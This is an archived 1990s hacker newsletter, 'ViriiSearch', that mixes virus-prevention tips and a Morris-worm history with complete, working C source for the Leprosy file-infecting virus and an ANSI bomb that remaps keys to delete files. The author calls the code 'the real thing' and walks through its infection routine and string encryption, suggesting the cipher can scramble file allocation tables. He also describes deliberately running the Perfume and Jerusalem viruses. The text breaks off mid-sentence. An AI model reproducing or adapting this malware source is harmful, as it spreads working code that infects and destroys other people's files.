home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / cmvs#1.v1 < prev    next >
Text File  |  1995-01-03  |  37KB  |  889 lines

  1. DISCLAIMER:
  2. The author will NOT accept responsibility for any damage to your
  3. computer media and/or files, or responsibility for any action you might
  4. take that will result in legal proceedings, the source code, if any, in
  5. this newsletter is THE REAL THING, and you, after you read this, will be
  6. well aware of what virii are capable of, and knowing that, it is expected
  7. that you will act responsibly.
  8.  
  9. DISCLAIMER II:
  10. All I know about programming I have learned on my own, and did not go to
  11. school for, and am still learning. As a result, I am sometimes prone to
  12. make mistakes, and be wrong about things, so please be patient if I should
  13. make a mistake, or say something that isn't true, which would be totally
  14. unintentional.
  15.  
  16.  
  17.                 ViriiSearch
  18.                 -----------
  19.  
  20.             The Virus Research Newsletter
  21.  
  22.                  Volume 1, Number 1
  23.  
  24. CREDITS:
  25. -----------------------------------------------------------------------------
  26. Author...................................................Criminal Minded <tm>
  27. Editor...................................................Criminal Minded <tm>
  28. Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
  29. Facts Stolen From Several Sources By.....................Criminal Minded <tm>
  30. -----------------------------------------------------------------------------
  31.  
  32. Introduction:
  33.  
  34. Welcome To The First Issue Of Viriisearch, The Virus Research Newsletter.
  35.  
  36. I have always had a fascination of computer virii, since I first heard the
  37. word. I, like a lot of people, had no idea what they were about, and was
  38. extremely curious. And this newsletter will cover my process as I find out
  39. more about them. How they are written, why they act like they do, and if
  40. possible, why people would write them.
  41.  
  42. In this issue:
  43.  
  44. Prevention And Protection Methods
  45. The "Internet Worm"
  46. Trojans, Worms, Virii, Ansi Bombs: What's the difference?
  47. Benign VS Malignant Virii
  48. Sample Source Code Of Virii
  49. Discussion Of The Infection And Encryption Methods Used By "Leprosy"
  50. The "Uncompress" Virus
  51. "Suicidal Tendencies" Department/Virus Of The Month
  52. Discussion Of Anti Viral Software
  53. Things You Should Know
  54.  
  55. -----------------------------------------------------------------------------
  56. Prevention And Protection Methods:
  57. -----------------------------------------------------------------------------
  58.  
  59. After the infamous "Michelangelo" panic, I realized what the masses are
  60. lacking is virus literacy. If people had a understanding of them, and knew
  61. the appropriate methods of prevention, and dealing with a infection, the
  62. situation would've never been blown out of proportion like it was. When I
  63. hear people ask questions such as "If I Put My Toothbrush Near A Infected
  64. Disk, Will I Catch The Virus When I Brush My Teeth?" I have to laugh...Ok,
  65. maybe that example is a little exaggerated, but some of the questions are
  66. hitting close to that level of stupidity, so here are some protection and
  67. prevention methods:
  68.  
  69. 1. If you download a file from a public BBS, or a friend gives you a file
  70.    that he downloaded from somewhere, be sure and uncompress the file onto
  71.    a floppy and run your virus scanner on it. NEVER run a new file without
  72.    checking it first. Some people believe a virus scanner can spot a file
  73.    that is infected within a compressed file by running the virus scanner
  74.    on it, this is NOT true. You have to decompress the file first.
  75.  
  76.    By doing this, you are dropping your chances of infection considerably
  77.    BUT there is always the chance of a unknown virus that the scanner won't
  78.    spot so that is why you have to ALWAYS have a backup of all your data on
  79.    tape or disk. That way if the unknown virus wipes your hard drive, you
  80.    have the backup and nothing is lost.
  81.  
  82. 2. In the event of a virus infection, shut your computer off immediately and
  83.    wait 10-20 seconds. NEVER do a "warm boot" (CTRL-ALT-DEL) because some
  84.    virii can survive through a warm boot. Always do a "cold boot" (Shut the
  85.    computer OFF). After the 10-20 seconds, boot your computer from a CLEAN
  86.    WRITE PROTECTED DOS Bootable disk, and then run your virus scanner from
  87.    a WRITE PROTECTED disk. (The reason for having the disks write protected
  88.    is just in case the virus is still lurking around, it won't be able to
  89.    write itself and infect the floppies). If the virus is a known one, have
  90.    the virus scanner either fix the infected files, or delete them (and
  91.    replace from your backup) or make a note of the infected files and erase
  92.    them manually.
  93.  
  94. 3. How do you spot a attack by a unknown virus?
  95.  
  96.    A) Change in sizes of files
  97.    B) Change of file dates/times
  98.    C) Deleted files
  99.    D) Slower processing time
  100.    E) Unusual messages
  101.    F) Disk activity, more than usual (Writing to the disk when it's not
  102.       neccesary)
  103.  
  104. 4. What to do in the event of a unknown virus attack?
  105.  
  106.     A) Follow steps of shutting machine off and re-booting as outlined in
  107.        #2
  108.     B) Run your virus scanner and have it look for files that changed in
  109.        size or date (if your scanner has a feature that makes note of
  110.        original virus sizes/dates/times)
  111.     C) If your virus scanner doesn't make note of original sizes/dates/times
  112.        you can always make note of them manually and then check them yourself.
  113.        It's time consuming, but can prevent serious damage to your data, and
  114.        you should try to isolate a infected file and send it to ME (info on
  115.        how to get it to me at the end of the newsletter) so I can attempt to
  116.        dissect it and notify the appropriate person of the new virus.
  117.     D) Some virus scanners come with a TSR that will prevent any writing to
  118.        disk, it will pop a window or message on the screen saying: Attempting
  119.        to write to <filename> Do you wish to do so? If something is trying to
  120.        write to a file that shouldn't be written to at that time, chances are
  121.        you are dealing with a unknown virus and should say no. Then try to
  122.        find and isolate the virus.
  123.     E) How do you spot a unknown virus or a known virus without running
  124.        a virus scanner?
  125.  
  126.        1) Most virii are tiny (2 kilobytes to 10 kilobytes) and the majority
  127.       of them are .COM files so if you have, let's say, a 6K .COM file
  128.       that claims to be a "awesome game" I'd be a little bit suspicious.
  129.        2) Weird names. I would not run "DIE.COM" or "KILLER.COM" and over
  130.       the years I have run into files named that, when people tried to
  131.       infect my computer. At least they could've named it something else
  132.       not so obvious.
  133.        3) As stated in #1, the MAJORITY of them are small .COM files but they
  134.       can be .EXE files as well, and bigger then 10K.
  135.  
  136. All it takes is a little bit of common sense, and 99% of what could've been
  137. virus attacks on your computer can be prevented. All you have to remember is
  138. that they cannot infect your machine unless run first...BUT there is one
  139. virus out there that, when uncompressed, activates itself. This virus does
  140. NOT have to be executed in order to infect your machine, and it will be
  141. discussed later on. In the event of where this "uncompress" virus wipes some
  142. of your data, or any other virus, that's what backups are for. ALWAYS HAVE A
  143. BACKUP OF YOUR HARD DRIVE and NEVER put a floppy in the drive and run a
  144. program when there is a virus in memory because, chances are, that floppy
  145. will get ruined/infected as well, unless it is write protected. The instant
  146. you are aware of a infection, shut the machine off! Because there are some
  147. virii that, upon finding a write protected floppy that it cannot infect, or
  148. something else it can't do, "get mad" and cause destruction.
  149.  
  150. -----------------------------------------------------------------------------
  151. The "Internet Worm"
  152. -----------------------------------------------------------------------------
  153.  
  154. This has to be the most widely publicized case of a virus attack ever.
  155.  
  156. On 10/02/88, Robert Morris Jr., a graduate student, wrote and released a worm
  157. that infected "Internet" the worldwide network. Within hours, it infected
  158. thousands of computers. The worm was benign, not causing any damage to files
  159. or media, but replicated itself over and over rapidly, and resulted in the
  160. computers on Internet having to be shut down and all copies of the worm
  161. removed. Some of the hosts were still disconnected from the network eight
  162. days later, showing the impact this worm had. Morris claimed he did it as a
  163. experiment, and made a mistake in how fast it actually would replicate. The
  164. media, namely NY Times, USA Today, and The Wall Street Journal, gave the worm
  165. front page coverage. On November 4th, teams at several institutions went to
  166. work and successfully "decompiled" the worm and studied it in the language it
  167. was written in, "C language", but the source code was never released for fear
  168. of hackers using the source for malicious purposes. In the end, Morris was
  169. removed from school, ordered to pay $10,000 in fines, perform 400 hours of
  170. community services and was on 3 years probation. Some people argued as to
  171. whether or not Morris was guilty because he evidently didn't do it to cause
  172. damage, but rather as a experiment that went wrong.
  173.  
  174. What the worm did: It hacked it's way into hosts attached to the internet by
  175. cracking passwords and then replicated itself rapidly, taking up all the
  176. memory and forcing the hosts to be shut down.
  177.  
  178. -----------------------------------------------------------------------------
  179.  
  180. Trojans, Worms, Virii, Ansi Bombs: What's the difference?
  181.  
  182. -----------------------------------------------------------------------------
  183.  
  184. Trojans: Programs disguised as a useful program or a existing real program
  185.      that can cause damage on your system.
  186.  
  187. Worms: Benign virii, rarely causing damage to media or files, such as the
  188.        Internet worm.
  189.  
  190. Ansi Bombs: Tiny programs that use ANSI to remap your keyboard causing keys,
  191.         when pressed, to do other things.
  192.  
  193. Example: If a ansi bomb was in memory, and it remapped the "K" key to erase
  194.      all the files in the current directory, as soon as you pressed K
  195.      the files would be gone. Usually when you type C>ERASE *.*
  196.      MS-DOS will respond with: All the files in the current directory
  197.      will be deleted! Are you sure (y/n)?
  198.  
  199.      Some ansi bombs are intelligent and can prevent such DOS messages
  200.      from appearing.
  201.  
  202. -----------------------------------------------------------------------------
  203.  
  204. Here is the source code to a simple ansi bomb:
  205.  
  206. -----------------------------------------------------------------------------
  207.  
  208. #include <stdio.h>
  209. #define KILL(K, S) printf("\033[0;%d;\"%s\";13p", K, S)
  210. #define F1 59
  211. #define F2 60
  212. #define F3 61
  213. #define F4 62
  214. main()
  215. {
  216.   KILL(F1, "DEL *.ZIP");
  217.   KILL(F2, "DEL *.ARJ");
  218.   KILL(F3, "DEL *.COM");
  219.   KILL(F4, "DEL *.EXE");
  220. }
  221.  
  222. -----------------------------------------------------------------------------
  223.  
  224. This just assigns the string (DEL *.ZIP etc) to the respective keys. If this
  225. ansi bomb was in memory, and you pressed F1, it would delete all the files
  226. in the current directory with the extension of .ZIP. The command (DEL *.ZIP)
  227. would appear on the screen though, and you could use a file recovery program
  228. to recover the deleted files. There are more lethal ansi bombs, ones that can
  229. format your hard drive and other such destructive acts.
  230.  
  231. Prevention: Use NANSI or ZANSI rather than ANSI and the ansi bombs won't work.
  232.  
  233. -----------------------------------------------------------------------------
  234.  
  235. Virii: Destructive programs that use 'stealth' techniques, and can replicate.
  236.        Not All virii are destructive, some can be benign, and just pop up
  237.        annoying messages time to time or slow down system speed.
  238.  
  239. -----------------------------------------------------------------------------
  240.  
  241. No more will be discussed of ANSI Bombs or Trojans as this newsletter is
  242. dedicated entirely to virii.
  243.  
  244. -----------------------------------------------------------------------------
  245.  
  246. Benign VS Malignant Virii:
  247.  
  248. -----------------------------------------------------------------------------
  249.  
  250. Benign Virii do not cause damage but do things such as take up all the memory,
  251. slow processing speed down, and send annoying messages to the console, or the
  252. printer, etc...
  253.  
  254. Maligant, or Malicious, Virii cause actual destruction, deleting files,
  255. destroying the FAT or boot sector, locking up the computer, formatting disks
  256. or hard drives, etc...
  257.  
  258. -----------------------------------------------------------------------------
  259.  
  260. Virus Source Code:
  261.  
  262. -----------------------------------------------------------------------------
  263.  
  264. Now for the real thing, we will start with the C Language source code to the
  265. "Leprosy" Virus.
  266.  
  267. -----------------------------------------------------------------------------
  268.  
  269. #pragma inline
  270.  
  271. #define   CRLF       "\x17\x14"          /*  CR/LF combo encrypted.  */
  272. #define   NO_MATCH   0x12                /*  No match in wildcard search.  */
  273.  
  274. char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
  275. char *virus_msg[3] =
  276.   {
  277.     CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
  278.     CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
  279.     CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
  280.   };
  281.  
  282.  
  283.  
  284. struct _dta                     /*  Disk Transfer Area format for find.  */
  285.   {
  286.     char findnext[21];
  287.     char attribute;
  288.     int timestamp;
  289.     int datestamp;
  290.     long filesize;
  291.     char filename[13];
  292.   } *dta = (struct _dta *) 0x80;   /*  Set it to default DTA.  */
  293.  
  294.  
  295. const char filler[] = "XX";             /*  Pad file length to 666 bytes.  */
  296. const char *codestart = (char *) 0x100;  /*  Memory where virus code begins.  */
  297. const int virus_size = 666;      /*  The size in bytes of the virus code.  */
  298. const int infection_rate = 4;     /*  How many files to infect per run.  */
  299.  
  300. char compare_buf[20];           /*  Load program here to test infection.  */
  301. int handle;                     /*  The current file handle being used.  */
  302. int datestamp, timestamp;       /*  Store original date and time here.  */
  303. char diseased_count = 0;        /*  How many infected files found so far.  */
  304. char success = 0;               /*  How many infected this run.  */
  305.  
  306.  
  307. /*  The following are function prototypes, in keeping with ANSI    */
  308. /*  Standard C, for the support functions of this program.         */
  309.  
  310. int find_first( char *fn );
  311. int find_healthy( void );
  312. int find_next( void );
  313. int healthy( void );
  314. void infect( void );
  315. void close_handle( void );
  316. void open_handle( char *fn );
  317. void print_s( char *s );
  318. void restore_timestamp( void );
  319.  
  320.  
  321.  
  322. /*----------------------------------*/
  323. /*     M A I N    P R O G R A M     */
  324. /*----------------------------------*/
  325.  
  326. int main( void )  {
  327.   int x = 0;
  328.   do {
  329.     if ( find_healthy() )  {           /*  Is there an un-infected file?  */
  330.       infect();                        /*  Well, then infect it!  */
  331.       x++;                             /*  Add one to the counter.  */
  332.       success++;                       /*  Carve a notch in our belt.  */
  333.     }
  334.     else  {                            /*  If there ain't a file here... */
  335.       _DX = (int) "..";                /*  See if we can step back to  */
  336.       _AH = 0x3b;                      /*  the parent directory, and try  */
  337.       asm   int 21H;                   /*  there.  */
  338.       x++;                             /*  Increment the counter anyway, to  */
  339.     }                                  /*  avoid infinite loops.  */
  340.   } while( x < infection_rate );       /*  Do this until we've had enough.  */
  341.   if ( success )                       /*  If we got something this time,  */
  342.     print_s( fake_msg );               /*  feed 'em the phony error line.  */
  343.   else
  344.     if ( diseased_count > 6 )          /*  If we found 6+ infected files  */
  345.       for( x = 0; x < 3; x++ )         /*  along the way, laugh!!  */
  346.     print_s( virus_msg[x] );
  347.     else
  348.       print_s( fake_msg );             /*  Otherwise, keep a low profile.  */
  349.   return;
  350. }
  351.  
  352.  
  353. void infect( void )  {
  354.   _DX = (int) dta->filename;  /*  DX register points to filename.  */
  355.   _CX = 0x00;                 /*  No attribute flags are set.  */
  356.   _AL = 0x01;                 /*  Use Set Attribute sub-function.  */
  357.   _AH = 0x43;                 /*  Assure access to write file.  */
  358.   asm   int 21H;              /*  Call DOS interrupt.  */
  359.   open_handle( dta->filename );        /*  Re-open the healthy file.  */
  360.   _BX = handle;                       /*  BX register holds handle.  */
  361.   _CX = virus_size;                   /*  Number of bytes to write.  */
  362.   _DX = (int) codestart;              /*  Write program code.  */
  363.   _AH = 0x40;                         /*  Set up and call DOS.  */
  364.   asm   int 21H;
  365.   restore_timestamp();               /*  Keep original date & time.  */
  366.   close_handle();                     /*  Close file.  */
  367.   return;
  368. }
  369.  
  370.  
  371. int find_healthy( void )  {
  372.   if ( find_first("*.EXE") != NO_MATCH )       /*  Find EXE?  */
  373.     if ( healthy() )                         /*  If it's healthy, OK!  */
  374.       return 1;
  375.     else
  376.       while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
  377.     if ( healthy() )
  378.       return 1;                          /*  If you find one, great!  */
  379.   if ( find_first("*.COM") != NO_MATCH )       /*  Find COM?  */
  380.     if ( healthy() )                         /*  If it's healthy, OK!  */
  381.       return 1;
  382.     else
  383.       while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
  384.     if ( healthy() )
  385.       return 1;                          /*  If you find one, great!  */
  386.   return 0;                                  /*  Otherwise, say so.  */
  387. }
  388.  
  389.  
  390.  
  391. int healthy( void )  {
  392.   int i;
  393.   datestamp = dta->datestamp;        /*  Save time & date for later.  */
  394.   timestamp = dta->timestamp;
  395.   open_handle( dta->filename );      /*  Open last file located.  */
  396.   _BX = handle;                      /*  BX holds current file handle.  */
  397.   _CX = 20;                          /*  We only want a few bytes.  */
  398.   _DX = (int) compare_buf;          /*  DX points to the scratch buffer.  */
  399.   _AH = 0x3f;                       /*  Read in file for comparison.  */
  400.   asm   int 21H;
  401.   restore_timestamp();              /*  Keep original date & time.  */
  402.   close_handle();                   /*  Close the file.  */
  403.   for ( i = 0; i < 20; i++ )        /*  Compare to virus code.  */
  404.     if ( compare_buf[i] != *(codestart+i) )
  405.       return 1;                     /*  If no match, return healthy.  */
  406.   diseased_count++;                 /*  Chalk up one more fucked file.  */
  407.   return 0;                         /*  Otherwise, return infected.  */
  408. }
  409.  
  410.  
  411. void restore_timestamp( void )  {
  412.   _AL = 0x01;                         /*  Keep original date & time.  */
  413.   _BX = handle;                       /*  Same file handle.  */
  414.   _CX = timestamp;                    /*  Get time & date from DTA.  */
  415.   _DX = datestamp;
  416.   _AH = 0x57;                         /*  Do DOS service.  */
  417.   asm   int 21H;
  418.   return;
  419. }
  420.  
  421.  
  422. void print_s( char *s )  {
  423.   char *p = s;
  424.   while ( *p )  {              /*  Subtract 10 from every character.  */
  425.     *p -= 10;
  426.     p++;
  427.   }
  428.   _DX = (int) s;              /*  Set DX to point to adjusted string.   */
  429.   _AH = 0x09;                 /*  Set DOS function number.  */
  430.   asm   int 21H;              /*  Call DOS interrupt.  */
  431.   return;
  432. }
  433.  
  434.  
  435. int find_first( char *fn )  {
  436.   _DX = (int) fn;             /*  Point DX to the file name.  */
  437.   _CX = 0xff;                 /*  Search for all attributes.  */
  438.   _AH = 0x4e;                 /*  'Find first' DOS service.  */
  439.   asm   int 21H;              /*  Go, DOS, go.  */
  440.   return _AX;                 /*  Return possible error code.  */
  441. }
  442.  
  443.  
  444. int find_next( void )  {
  445.   _AH = 0x4f;                 /*  'Find next' function.  */
  446.   asm   int 21H;              /*  Call DOS.  */
  447.   return _AX;                 /*  Return any error code.  */
  448. }
  449.  
  450.  
  451. void open_handle( char *fn )  {
  452.   _DX = (int) fn;             /*  Point DX to the filename.  */
  453.   _AL = 0x02;                 /*  Always open for both read & write. */
  454.   _AH = 0x3d;                 /*  "Open handle" service.  */
  455.   asm   int 21H;              /*  Call DOS.  */
  456.   handle = _AX;               /*  Assume handle returned OK.  */
  457.   return;
  458. }
  459.  
  460.  
  461. void close_handle( void )  {
  462.   _BX = handle;               /*  Load BX register w/current file handle.  */
  463.   _AH = 0x3e;                 /*  Set up and call DOS service.  */
  464.   asm   int 21H;
  465.   return;
  466. }
  467.  
  468. -----------------------------------------------------------------------------
  469.  
  470. With source code discussed in this newsletter, main areas covered will be on
  471. encryption techniques, how the virus infects files, how they 'replicate'
  472. and 'breed' and how 'stealth techniques' are implemented in the code.
  473.  
  474. In this case we will cover how the virus infects the files and encrypts.
  475.  
  476. -----------------------------------------------------------------------------
  477.  
  478. Infection Method:
  479.  
  480. -----------------------------------------------------------------------------
  481. void infect( void )  {
  482.   _DX = (int) dta->filename;  /*  DX register points to filename.  */
  483.   _CX = 0x00;                 /*  No attribute flags are set.  */
  484.   _AL = 0x01;                 /*  Use Set Attribute sub-function.  */
  485.   _AH = 0x43;                 /*  Assure access to write file.  */
  486.   asm   int 21H;              /*  Call DOS interrupt.  */
  487.   open_handle( dta->filename );        /*  Re-open the healthy file.  */
  488.   _BX = handle;                       /*  BX register holds handle.  */
  489.   _CX = virus_size;                   /*  Number of bytes to write.  */
  490.   _DX = (int) codestart;              /*  Write program code.  */
  491.   _AH = 0x40;                         /*  Set up and call DOS.  */
  492.   asm   int 21H;
  493.   restore_timestamp();               /*  Keep original date & time.  */
  494.   close_handle();                     /*  Close file.  */
  495.   return;
  496. }
  497.  
  498. -----------------------------------------------------------------------------
  499. void infect( void ) is just what he named this function.
  500.  
  501. The function will return nothing, and be called with no parameters as the two
  502. "voids" suggest.
  503.  
  504. Register DX points to the filename as declared in the structure "_dta"
  505.  
  506. -----------------------------------------------------------------------------
  507.  
  508. _dta structure:
  509.  
  510. -----------------------------------------------------------------------------
  511.  
  512. struct _dta
  513.   {
  514.     char findnext[21];
  515.     char attribute;
  516.     int timestamp;
  517.     int datestamp;
  518.     long filesize;
  519.     char filename[13];
  520.   } *dta = (struct _dta *) 0x80;
  521.  
  522. -----------------------------------------------------------------------------
  523.  
  524. Next in the "infect" function, 0x00 is assigned to the CX register.
  525.  
  526. With function 43H in assembly, register CX is assigned with the bit of the
  527. attribute that you want to set the file to.
  528.  
  529. Bit:           Attribute:
  530.  
  531.  0             Read Only
  532.  1             Hidden
  533.  2             System
  534.  3-4           Reserved
  535.  5             Archive
  536.  6-15          Reserved
  537.  
  538. Because the author assigned 0x00 to CX, none of the above attributes were set
  539. on the file, allowing it to be written to.
  540.  
  541. Next in the "infect" function is 0x01 being assigned to register AL
  542.  
  543. 0x01 is telling the program we want to SET attributes.
  544.  
  545. Then following that is: 0x43 being assigned to AH
  546.  
  547. Which is telling the program we want to use function 43H (Get/Set Attributes)
  548.  
  549. The current handle is assigned to register BX
  550.  
  551. The size of the virus code, or the number of bytes to write, stored in the
  552. integer "virus_size" is assigned to register CX
  553.  
  554. virus_size is declared and initialized at the beginning of the source code
  555. as a integer with the value "666"
  556.  
  557. Then the virus code is written to the file, the file is closed and the
  558. original date and time the file had are restored.
  559.  
  560. -----------------------------------------------------------------------------
  561.  
  562. The Method Of Encryption:
  563.  
  564. -----------------------------------------------------------------------------
  565. void print_s( char *s )  {
  566.   char *p = s;
  567.   while ( *p )  {              /*  Subtract 10 from every character.  */
  568.     *p -= 10;
  569.     p++;
  570.   }
  571.   _DX = (int) s;              /*  Set DX to point to adjusted string.   */
  572.   _AH = 0x09;                 /*  Set DOS function number.  */
  573.   asm   int 21H;              /*  Call DOS interrupt.  */
  574.   return;
  575. }
  576. -----------------------------------------------------------------------------
  577.  
  578. The above function used in "Leprosy", called "print_s" accepts one parameter,
  579. a string of text, like these ones defined at the beginning of the Leprosy
  580. source code:
  581.  
  582. -----------------------------------------------------------------------------
  583. char *virus_msg[3] =
  584.   {
  585.     CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
  586.     CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
  587.     CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
  588.   };
  589.  
  590. -----------------------------------------------------------------------------
  591. Note: CRLF is defined as "\x17\x14" at the beginning of the source, \x17
  592. being the hexadecimal code for a carriage return and \x14 the code for a line
  593. feed.
  594. -----------------------------------------------------------------------------
  595.  
  596. When a string is passed to the "print_s" function, it is un-encrypted.
  597.  
  598. print_s(virus_msg[0]);
  599. print_s(virus_msg[1]);
  600. print_s(virus_msg[2]);
  601.  
  602. would result in the following being printed to the screen:
  603. ------------------------------------------------------------
  604.  
  605.     NEWS FLASH!!  Your system has been infected with the
  606.  
  607.     incurable decay of LEPROSY 1.00, a virus invented by
  608.  
  609.     PCM2 in June of 1990.  Good luck!
  610.  
  611. -----------------------------------------------------------
  612.  
  613. The compiler I currently use does not accept inline assembly
  614. code as the author of leprosy had in his source so I modified
  615. the "print_s" function so I could compile it:
  616.  
  617. For those interested, I use Microsoft Quick C (C) Microsoft
  618.  
  619. -----------------------------------------------------------
  620.  
  621. /* NOTE: I removed the . from the end of each message because that is */
  622. /* A $ when un-encrypted, and the $ to terminate the string is only   */
  623. /* required for the assembly version of the "print_s" function        */
  624.  
  625. /* Also: The hexadecimal constants in the strings are as follows: */
  626.  
  627. /* \x13 = TAB, \x7f = u, \x83 = y, \x81 = w, \x80 = v */
  628.  
  629.  
  630. #include <stdio.h>
  631. #define CRLF "\x17\x14"
  632. char *virus_msg[3] =
  633. {
  634. CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro",
  635. CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83",
  636. CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14"
  637. };
  638.  
  639. void print_s (char *s);
  640. int main     (void);
  641.  
  642. main()
  643. {
  644. print_s(virus_msg[0]);
  645. print_s(virus_msg[1]);
  646. print_s(virus_msg[2]);
  647. }
  648.  
  649. void print_s (char *s) {
  650.   char *p = s;
  651.   while ( *p )  {
  652.     *p -= 10;
  653.     p++;
  654.   }
  655.   printf("%s\n",s);
  656. }
  657.  
  658. -----------------------------------------------------------------------------
  659.  
  660. *p -= 10; is what does it all. It adds the value of 10 to each character and
  661. can be used either way, to unencrypt or to encrypt.
  662.  
  663. if you change it to: *p += 10;
  664.  
  665. it will then encrypt.
  666.  
  667. You can also change it to:
  668.  
  669. *p -= rand() % 35000; /* #include <stdio.h> for "rand()" */
  670.  
  671. and it will change the value it uses to encrypt or un-encrypt everytime it
  672. passes through the "while" loop or you can change it to any value you like.
  673.  
  674. -----------------------------------------------------------------------------
  675.  
  676. This method of encryption can be used to encrypt files, file allocation
  677. tables, boot sectors, etc. All you need is a function that reads and writes
  678. either of the three. For instance, read the contents of the File Allocation
  679. Table, and pass the string(s) through the print_s function and then write
  680. the encrypted string(s) back to the File Allocation Table. I don't suggest
  681. doing this to your hard drive, or anyone elses, for it will result in either
  682. you or the other person having to crack the encryption and restore the FAT
  683. manually, or formatting the hard drive and replacing all the files. If you
  684. want to experiment, do it on a floppy, like I did.
  685.  
  686. -----------------------------------------------------------------------------
  687.  
  688.  
  689. The "uncompress" virus
  690.  
  691. -----------------------------------------------------------------------------
  692.  
  693. According to the person who uploaded it to the BBS where I got it from, this
  694. virus infects when you uncompress the file.
  695.  
  696. I did not find any indication of this when I uncompressed the file, called
  697. NJERU.ARJ. It is a Arkanoid II: Revenge Of Doh crack released by FiRM that
  698. is infected with a strain of Jerusalem-4.
  699.  
  700. I ran it and Norton Anti Virus (C) Symantec reported the virus in memory.
  701. I then proceeded to run EDLIN.EXE (C) Microsoft, SYS.COM (C) Microsoft,
  702. COMMAND.COM (C) Microsoft, and ARJ.EXE (C) Robert K. Jung to see what would
  703. happen. These are the results:
  704.  
  705. Filename:         Original Size:          Size After Infection:
  706.  
  707. EDLIN.EXE          14,121 bytes                15,936 bytes
  708. ARJ.EXE            98,968 bytes               100,784 bytes
  709. SYS.COM            13,440 bytes                15,253 bytes
  710.  
  711. There were no size changes to COMMAND.COM, nor was it infected.
  712.  
  713. A file was also created by the virus called "NJVR._OO" that was around 26K
  714. but only had one line in it, a error message concerning the media of the disk.
  715. Sorry, the exact size of the file NVJR._OO and the exact message are not
  716. available. When I attempted to remove the apparent text file using the
  717. MS-DOS "DEL" command, it displayed the error message and tried to write to
  718. drive A which was write protected at the time. Then it went back to drive B
  719. and apparently did damage to the media. I formatted the disk and it was fine
  720. afterwards. I have never seen anything like this before, a text file being
  721. able to do damage just by attempting to delete it. I guess it wasn't a text
  722. file after all but I still have no idea how it managed to corrupt the media
  723. on drive B. It also created a file called "N" which was 0 bytes and couldn't
  724. be deleted or read by Norton Anti Virus.
  725.  
  726. -----------------------------------------------------------------------------
  727.  
  728. "Suicidal Tendencies" Department.
  729.  
  730. (Appropriately named department: I can't believe I am deliberately running
  731. a virus on my system)
  732.  
  733. This section of the newsletter will cover what happened when I run a virus
  734. on a floppy with MSDOS.SYS, IO.SYS, COMMAND.COM, a overlay file, a .EXE file
  735. and a few other assorted files on it.
  736.  
  737. The virus of the month award goes to: The Perfume Virus
  738.  
  739. -----------------------------------------------------------------------------
  740.  
  741. What Happened:
  742.  
  743. -----------------------------------------------------------------------------
  744.  
  745. Filename: PERFUME.COM           Filesize: 806 bytes
  746.  
  747. Ok, I placed this file on drive B with the following files:
  748.  
  749. Filename:        Original Size:
  750. ----------------------------------
  751. COMMAND.COM      47845
  752. MSDOS.SYS        37394
  753. IO.SYS           33430
  754. ANSI.SYS          9029
  755. RAMDRIVE.SYS      5873
  756. CONFIG.SYS          39
  757. UNDELETE.EXE     13924
  758. AUTOEXEC.BAT        69
  759. 15ALL05.DEF      67278
  760. MICHEL.DEF         456
  761. NSETUP.OVL         876
  762. PKUNZIP.EXE      23528
  763. ----------------------------------
  764.  
  765. When I ran PERFUME.COM, it displayed the message: This is a tiny COM program.
  766. and it infected COMMAND.COM, enlarging it by 765 bytes to 48,610 bytes.
  767. It then proceeded to remove the hidden/system attribute from MSDOS.SYS but
  768. didn't infect it and then attempted to infect the disk in drive A, which was
  769. write protected at the time. The virus, realizing it couldn't write to drive
  770. A, displayed the message:
  771.                Not ready reading drive A
  772.                Insert disk with \COMMAND.COM in drive A
  773.                Press any key to continue . . .
  774.  
  775. Now, usually when DOS displays that message, it only needs to READ, and still
  776. could've if the disk was write protected, so evidently the virus was
  777. trying to outsmart me and fool me into thinking that was a DOS message so it
  778. could infect at least one more disk.
  779.  
  780. I ran Norton Anti Virus v2.0 (C) Symantec, and it reported Perfume in memory
  781. so I re-booted and ran NAV again, this time it didn't report the virus being
  782. in memory, but did identify COMMAND.COM and PERFUME.COM as being infected.
  783.  
  784. Also:
  785.  
  786. In my search for the virus of the month, I came across a file called
  787. "ISRAELI.ZIP" which I thought to be a virus called "Israeli" but as it turns
  788. out it was a strain of Jerusalem-4, the same as the supposed "Uncompress
  789. virus" discussed earlier. The file was called: SORTINFT.EXE and was 3760
  790. bytes. When I ran it, it did no damage to the disk or files but NAV did
  791. report Jerusalem-4 in memory so I re-booted. I then ran NAV again and when
  792. the screen came up saying who the copy of NAV was registered to, it said:
  793.  
  794. Registered To:
  795.  
  796. Criminal Miτφed <tm>
  797. Viriisearch NeöÉletter, Inc.
  798.  
  799. Weird eh? And that's not all, I went to scan memory, and the little window
  800. came up that it displays the name of the current virus being scanned for, but
  801. that's it, no names were displayed. The program appeared to freeze up, and
  802. the disk kept spinning with the drive light on. I re-booted once again and
  803. ran NAV again. The weird letters were still there but it scanned memory no
  804. problem this time. I exited it from NAV and went to drive B to delete files
  805. when I noticed a file called: NRVN E._OO that was 4096 bytes long. Since when
  806. does DOS allow spaces in filenames? As a result I couldn't view it or delete
  807. it by typing: C>DEL NRVN E._OO so I typed: C>DEL *._OO and that worked. At
  808. one point a message also came up on the screen: "File Allocation Table Bad,
  809. Drive B". I imagine Jerusalem-4 was responsible for the weird file name and
  810. the bad FAT on drive B. I have no idea why NAV was acting funny, possibly
